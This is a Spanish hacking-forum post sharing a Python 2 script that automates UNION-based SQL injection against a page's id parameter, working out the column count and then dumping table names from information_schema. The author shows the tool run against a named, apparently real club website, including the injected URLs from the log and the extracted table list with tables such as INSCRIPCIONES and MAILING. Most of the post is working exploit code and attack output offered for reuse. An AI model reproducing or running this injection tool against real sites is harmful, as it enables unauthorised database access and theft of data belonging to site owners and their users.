No me vayan a tomar de spammer... Pero terminé la V3
Esta vez saca las tablas de la DB y las devuelve en pantalla...
http://www.portalhacker.net/index.php/topic,135564.0.html V2
Sin más preambulo:
import urllib2
def search(i,xas,url,tipo):
count=1
for a in range(0,i+1):
injc=xas.replace("%s"%a ,"group_concat(table_name)")
injection="%s-1+union+all+select+%s+from+information_schema.tables--"%(url,injc)
y=urllib2.urlopen("%s"%injection)
log=open("log.txt","a")
if "character_sets" in y.read().lower():
print "Encontrados:%s"%count
log.write("Obtener Tablas:%s\n"%injection)
count+=1
x=urllib2.urlopen("%s"%injection)
url=x.read().split("CHARACTER_SETS")
nocoma=url[1].replace(",","\n")
noapos=nocoma.split('<')
print noapos[0]
log.close()
print "Terminado. Log guardado en log.txt"
stx=""
i=1
url=raw_input("URL:")
tipos=input("1.-The Used Select...\n2.-MySQL_Fetch...\n::>")
log=open("log.txt","w")
if tipos==1:
serch="the used select"
elif tipos==2:
serch="mysqli_fetch"
log.write("Url:%s\n"%url)
log.write("Tipo:%s\n"%serch)
print "Buscando..."
while 1:
stx=stx+"%s,"%i
w=urllib2.urlopen("%s-1+union+all+select+%s"%(url,stx[:-1]))
if serch in w.read().lower():
print ".",
else:
injx=stx[:-1]
fin="-1+union+all+select+%s"%injx
log.write("Primera Inyeccion:%s%s\n"%(url,fin))
log.close()
print "Segundo Paso..."
search(i,injx,url,serch)
break
i+=1
Uso:
C:\Python27>sql.py
URL:http://www.ccsantaeulalia.com/noticia.php?id=
1.-The Used Select...
2.-MySQL_Fetch...
::>1
Buscando...
. . . Segundo Paso...
Encontrados:1
Encontrados:2
Encontrados:3
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS
Terminado. Log guardado en log.txt
Usé los datos:
URL:http://www.ccsantaeulalia.com/noticia.php?id=
1.-The Used Select...
2.-MySQL_Fetch...
::>1
El log.txt quedó finalmente con:
Url:http://www.ccsantaeulalia.com/noticia.php?id=
Tipo:the used select
Primera Inyeccion:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,4
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,group_concat(table_name),3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,group_concat(table_name)+from+information_schema.tables--
Las tablas fueron:
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS
Aun hay un pequeño problema que a veces quedan TAGS HTML alfinal... Pero no molestan mucho...
Saludos UnderC0de ;D